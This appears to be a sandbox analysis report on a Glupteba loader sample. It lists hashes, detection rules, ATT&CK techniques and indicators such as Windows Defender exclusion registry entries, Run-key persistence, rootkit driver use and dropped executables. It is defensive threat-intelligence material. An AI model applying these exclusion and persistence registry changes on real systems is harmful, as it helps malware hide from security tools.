glupteba | 91deee0e5954ec7a7fa5505d7f9c97c7e347df379758691fb1a390969b0328d3

Analysis

max time kernel
290s
max time network
300s
platform
windows10-1703_x64
resource
win10-20240404-en
resource tags

arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
submitted
16/05/2024, 23:40

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

91deee0e5954ec7a7fa5505d7f9c97c7e347df379758691fb1a390969b0328d3.exe
Size

4.1MB
MD5

012479b31d8e8d4cc1e99c950dd0f77d
SHA1

2d26e7ae6c0cbb1a66e95f35b2f6ede0835d765b
SHA256

91deee0e5954ec7a7fa5505d7f9c97c7e347df379758691fb1a390969b0328d3
SHA512

ce6b1e32007d841dac8b7478c21f336dfe5e64dcdb8e9df37902a29eef70af9e65801ee10b91cd33eada06a4965ddc0b9eaa25006e49b240a7c8461c86a9b358
SSDEEP

49152:P7QmEbcqaZzGq8QcqWQjVg2jH5kShpuw/ycY+0yIq1wyJFXQ2nyEuQGmme:jWbHa59Z7dviShpLY7RCwkXQ2n5oe

Score

10^/10

glupteba discovery dropper evasion execution loader persistence rootkit trojan upx

Malware Config

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba payload 31 IoCs

resource	yara_rule
behavioral2/memory/2856-2-0x0000000002DF0000-0x00000000036DB000-memory.dmp	family_glupteba
behavioral2/memory/2856-3-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/2856-302-0x0000000002DF0000-0x00000000036DB000-memory.dmp	family_glupteba
behavioral2/memory/2856-301-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/4832-1021-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/768-1744-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/768-1753-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/768-1755-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/768-1757-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/768-1759-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/768-1761-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/768-1763-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/768-1765-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/768-1767-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/768-1769-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/768-1771-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/768-1773-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/768-1775-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/768-1777-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/768-1779-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/768-1781-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/768-1783-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/768-1785-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/768-1787-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/768-1789-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/768-1791-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/768-1793-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/768-1795-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/768-1797-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/768-1799-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/768-1801-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba

Windows security bypass 2 TTPs 7 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	91deee0e5954ec7a7fa5505d7f9c97c7e347df379758691fb1a390969b0328d3.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\91deee0e5954ec7a7fa5505d7f9c97c7e347df379758691fb1a390969b0328d3.exe = "0"	91deee0e5954ec7a7fa5505d7f9c97c7e347df379758691fb1a390969b0328d3.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	91deee0e5954ec7a7fa5505d7f9c97c7e347df379758691fb1a390969b0328d3.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	91deee0e5954ec7a7fa5505d7f9c97c7e347df379758691fb1a390969b0328d3.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	91deee0e5954ec7a7fa5505d7f9c97c7e347df379758691fb1a390969b0328d3.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	91deee0e5954ec7a7fa5505d7f9c97c7e347df379758691fb1a390969b0328d3.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	91deee0e5954ec7a7fa5505d7f9c97c7e347df379758691fb1a390969b0328d3.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
4872	netsh.exe

Executes dropped EXE 4 IoCs

pid	Process
768	csrss.exe
2084	injector.exe
2212	windefender.exe
2392	windefender.exe

UPX packed file 16 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/2212-1749-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
behavioral2/memory/2212-1752-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
behavioral2/memory/2392-1751-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
behavioral2/files/0x000800000001ac2b-1750.dat	upx
behavioral2/memory/2392-1754-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
behavioral2/memory/2392-1758-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
behavioral2/files/0x000700000000069b-2049.dat	upx
behavioral2/memory/3740-2051-0x0000000000400000-0x00000000008E1000-memory.dmp	upx
behavioral2/files/0x000700000000069b-2050.dat	upx
behavioral2/memory/3740-2055-0x0000000000400000-0x00000000008E1000-memory.dmp	upx
behavioral2/memory/744-2293-0x0000000000D70000-0x000000000163D000-memory.dmp	upx
behavioral2/files/0x000500000000069d-2292.dat	upx
behavioral2/files/0x000500000000069d-2291.dat	upx
behavioral2/files/0x00060000000006ad-2535.dat	upx
behavioral2/memory/1332-2534-0x0000000000400000-0x00000000008E8000-memory.dmp	upx
behavioral2/files/0x00060000000006ad-2532.dat	upx

Windows security modification 2 TTPs 7 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	91deee0e5954ec7a7fa5505d7f9c97c7e347df379758691fb1a390969b0328d3.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	91deee0e5954ec7a7fa5505d7f9c97c7e347df379758691fb1a390969b0328d3.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	91deee0e5954ec7a7fa5505d7f9c97c7e347df379758691fb1a390969b0328d3.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	91deee0e5954ec7a7fa5505d7f9c97c7e347df379758691fb1a390969b0328d3.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\91deee0e5954ec7a7fa5505d7f9c97c7e347df379758691fb1a390969b0328d3.exe = "0"	91deee0e5954ec7a7fa5505d7f9c97c7e347df379758691fb1a390969b0328d3.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	91deee0e5954ec7a7fa5505d7f9c97c7e347df379758691fb1a390969b0328d3.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	91deee0e5954ec7a7fa5505d7f9c97c7e347df379758691fb1a390969b0328d3.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000\Software\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\""	91deee0e5954ec7a7fa5505d7f9c97c7e347df379758691fb1a390969b0328d3.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000\Software\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\""	csrss.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Manipulates WinMonFS driver. 1 IoCs

Roottkits write to WinMonFS to hide directories/files from being detected.

rootkit evasion

description	ioc	Process
File opened for modification	\??\WinMonFS	csrss.exe

Drops file in System32 directory 7 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe

Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\VBoxMiniRdrDN	91deee0e5954ec7a7fa5505d7f9c97c7e347df379758691fb1a390969b0328d3.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\rss	91deee0e5954ec7a7fa5505d7f9c97c7e347df379758691fb1a390969b0328d3.exe
File created	C:\Windows\rss\csrss.exe	91deee0e5954ec7a7fa5505d7f9c97c7e347df379758691fb1a390969b0328d3.exe
File created	C:\Windows\windefender.exe	csrss.exe
File opened for modification	C:\Windows\windefender.exe	csrss.exe

Launches sc.exe 1 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3372	sc.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 10 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4612	powershell.exe
2560	powershell.exe
4812	powershell.exe
1440	powershell.exe
4852	powershell.exe
4332	powershell.exe
3352	powershell.exe
2256	powershell.exe
1988	powershell.exe
2992	powershell.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2144	schtasks.exe
5108	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-501 = "Nepal Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-72 = "Newfoundland Standard Time"	91deee0e5954ec7a7fa5505d7f9c97c7e347df379758691fb1a390969b0328d3.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-1932 = "Russia TZ 11 Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-2571 = "Turks and Caicos Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1801 = "Line Islands Daylight Time"	91deee0e5954ec7a7fa5505d7f9c97c7e347df379758691fb1a390969b0328d3.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-215 = "Pacific Standard Time (Mexico)"	91deee0e5954ec7a7fa5505d7f9c97c7e347df379758691fb1a390969b0328d3.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1412 = "Syria Standard Time"	91deee0e5954ec7a7fa5505d7f9c97c7e347df379758691fb1a390969b0328d3.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-2791 = "Novosibirsk Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-2322 = "Sakhalin Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-981 = "Kamchatka Daylight Time"	91deee0e5954ec7a7fa5505d7f9c97c7e347df379758691fb1a390969b0328d3.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-385 = "Namibia Standard Time"	91deee0e5954ec7a7fa5505d7f9c97c7e347df379758691fb1a390969b0328d3.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-2612 = "Bougainville Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-231 = "Hawaiian Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-891 = "Morocco Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-212 = "Pacific Standard Time"	91deee0e5954ec7a7fa5505d7f9c97c7e347df379758691fb1a390969b0328d3.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-142 = "Canada Central Standard Time"	windefender.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-361 = "GTB Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-365 = "Middle East Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-1872 = "Russia TZ 7 Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-692 = "Tasmania Standard Time"	91deee0e5954ec7a7fa5505d7f9c97c7e347df379758691fb1a390969b0328d3.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-261 = "GMT Daylight Time"	91deee0e5954ec7a7fa5505d7f9c97c7e347df379758691fb1a390969b0328d3.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2772 = "Omsk Standard Time"	91deee0e5954ec7a7fa5505d7f9c97c7e347df379758691fb1a390969b0328d3.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-332 = "E. Europe Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1022 = "Bangladesh Standard Time"	91deee0e5954ec7a7fa5505d7f9c97c7e347df379758691fb1a390969b0328d3.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2002 = "Cabo Verde Standard Time"	91deee0e5954ec7a7fa5505d7f9c97c7e347df379758691fb1a390969b0328d3.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-252 = "Dateline Standard Time"	91deee0e5954ec7a7fa5505d7f9c97c7e347df379758691fb1a390969b0328d3.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-1891 = "Russia TZ 3 Daylight Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-1861 = "Russia TZ 6 Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-1412 = "Syria Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-352 = "FLE Standard Time"	91deee0e5954ec7a7fa5505d7f9c97c7e347df379758691fb1a390969b0328d3.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-72 = "Newfoundland Standard Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-434 = "Georgian Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-214 = "Pacific Daylight Time (Mexico)"	91deee0e5954ec7a7fa5505d7f9c97c7e347df379758691fb1a390969b0328d3.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-364 = "Middle East Daylight Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-352 = "FLE Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-1821 = "Russia TZ 1 Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-192 = "Mountain Standard Time"	91deee0e5954ec7a7fa5505d7f9c97c7e347df379758691fb1a390969b0328d3.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4812	powershell.exe
4812	powershell.exe
4812	powershell.exe
2856	91deee0e5954ec7a7fa5505d7f9c97c7e347df379758691fb1a390969b0328d3.exe
2856	91deee0e5954ec7a7fa5505d7f9c97c7e347df379758691fb1a390969b0328d3.exe
1440	powershell.exe
1440	powershell.exe
1440	powershell.exe
4832	91deee0e5954ec7a7fa5505d7f9c97c7e347df379758691fb1a390969b0328d3.exe
4832	91deee0e5954ec7a7fa5505d7f9c97c7e347df379758691fb1a390969b0328d3.exe
4832	91deee0e5954ec7a7fa5505d7f9c97c7e347df379758691fb1a390969b0328d3.exe
4832	91deee0e5954ec7a7fa5505d7f9c97c7e347df379758691fb1a390969b0328d3.exe
4832	91deee0e5954ec7a7fa5505d7f9c97c7e347df379758691fb1a390969b0328d3.exe
4832	91deee0e5954ec7a7fa5505d7f9c97c7e347df379758691fb1a390969b0328d3.exe
4832	91deee0e5954ec7a7fa5505d7f9c97c7e347df379758691fb1a390969b0328d3.exe
4832	91deee0e5954ec7a7fa5505d7f9c97c7e347df379758691fb1a390969b0328d3.exe
4832	91deee0e5954ec7a7fa5505d7f9c97c7e347df379758691fb1a390969b0328d3.exe
4832	91deee0e5954ec7a7fa5505d7f9c97c7e347df379758691fb1a390969b0328d3.exe
4852	powershell.exe
4852	powershell.exe
4852	powershell.exe
2256	powershell.exe
2256	powershell.exe
2256	powershell.exe
4332	powershell.exe
4332	powershell.exe
4332	powershell.exe
3352	powershell.exe
3352	powershell.exe
3352	powershell.exe
4612	powershell.exe
4612	powershell.exe
4612	powershell.exe
2084	injector.exe
2084	injector.exe
2084	injector.exe
2084	injector.exe
2084	injector.exe
2084	injector.exe
768	csrss.exe
768	csrss.exe
2084	injector.exe
2084	injector.exe
2084	injector.exe
2084	injector.exe
2084	injector.exe
2084	injector.exe
768	csrss.exe
768	csrss.exe
2084	injector.exe
2084	injector.exe
2084	injector.exe
2084	injector.exe
768	csrss.exe
768	csrss.exe
2084	injector.exe
2084	injector.exe
2084	injector.exe
2084	injector.exe
2084	injector.exe
2084	injector.exe
2084	injector.exe
2084	injector.exe
2084	injector.exe

Suspicious use of AdjustPrivilegeToken 12 IoCs

description	pid	Process
Token: SeDebugPrivilege	4812	powershell.exe
Token: SeDebugPrivilege	2856	91deee0e5954ec7a7fa5505d7f9c97c7e347df379758691fb1a390969b0328d3.exe
Token: SeImpersonatePrivilege	2856	91deee0e5954ec7a7fa5505d7f9c97c7e347df379758691fb1a390969b0328d3.exe
Token: SeDebugPrivilege	1440	powershell.exe
Token: SeDebugPrivilege	4852	powershell.exe
Token: SeDebugPrivilege	2256	powershell.exe
Token: SeDebugPrivilege	4332	powershell.exe
Token: SeDebugPrivilege	3352	powershell.exe
Token: SeDebugPrivilege	4612	powershell.exe
Token: SeSystemEnvironmentPrivilege	768	csrss.exe
Token: SeSecurityPrivilege	3372	sc.exe
Token: SeSecurityPrivilege	3372	sc.exe

Suspicious use of WriteProcessMemory 36 IoCs

description	pid	Process	procid_target
PID 2856 wrote to memory of 4812	2856	91deee0e5954ec7a7fa5505d7f9c97c7e347df379758691fb1a390969b0328d3.exe	74
PID 2856 wrote to memory of 4812	2856	91deee0e5954ec7a7fa5505d7f9c97c7e347df379758691fb1a390969b0328d3.exe	74
PID 2856 wrote to memory of 4812	2856	91deee0e5954ec7a7fa5505d7f9c97c7e347df379758691fb1a390969b0328d3.exe	74
PID 4832 wrote to memory of 1440	4832	91deee0e5954ec7a7fa5505d7f9c97c7e347df379758691fb1a390969b0328d3.exe	79
PID 4832 wrote to memory of 1440	4832	91deee0e5954ec7a7fa5505d7f9c97c7e347df379758691fb1a390969b0328d3.exe	79
PID 4832 wrote to memory of 1440	4832	91deee0e5954ec7a7fa5505d7f9c97c7e347df379758691fb1a390969b0328d3.exe	79
PID 4832 wrote to memory of 3128	4832	91deee0e5954ec7a7fa5505d7f9c97c7e347df379758691fb1a390969b0328d3.exe	81
PID 4832 wrote to memory of 3128	4832	91deee0e5954ec7a7fa5505d7f9c97c7e347df379758691fb1a390969b0328d3.exe	81
PID 3128 wrote to memory of 4872	3128	cmd.exe	83
PID 3128 wrote to memory of 4872	3128	cmd.exe	83
PID 4832 wrote to memory of 4852	4832	91deee0e5954ec7a7fa5505d7f9c97c7e347df379758691fb1a390969b0328d3.exe	84
PID 4832 wrote to memory of 4852	4832	91deee0e5954ec7a7fa5505d7f9c97c7e347df379758691fb1a390969b0328d3.exe	84
PID 4832 wrote to memory of 4852	4832	91deee0e5954ec7a7fa5505d7f9c97c7e347df379758691fb1a390969b0328d3.exe	84
PID 4832 wrote to memory of 2256	4832	91deee0e5954ec7a7fa5505d7f9c97c7e347df379758691fb1a390969b0328d3.exe	86
PID 4832 wrote to memory of 2256	4832	91deee0e5954ec7a7fa5505d7f9c97c7e347df379758691fb1a390969b0328d3.exe	86
PID 4832 wrote to memory of 2256	4832	91deee0e5954ec7a7fa5505d7f9c97c7e347df379758691fb1a390969b0328d3.exe	86
PID 4832 wrote to memory of 768	4832	91deee0e5954ec7a7fa5505d7f9c97c7e347df379758691fb1a390969b0328d3.exe	88
PID 4832 wrote to memory of 768	4832	91deee0e5954ec7a7fa5505d7f9c97c7e347df379758691fb1a390969b0328d3.exe	88
PID 4832 wrote to memory of 768	4832	91deee0e5954ec7a7fa5505d7f9c97c7e347df379758691fb1a390969b0328d3.exe	88
PID 768 wrote to memory of 4332	768	csrss.exe	89
PID 768 wrote to memory of 4332	768	csrss.exe	89
PID 768 wrote to memory of 4332	768	csrss.exe	89
PID 768 wrote to memory of 3352	768	csrss.exe	96
PID 768 wrote to memory of 3352	768	csrss.exe	96
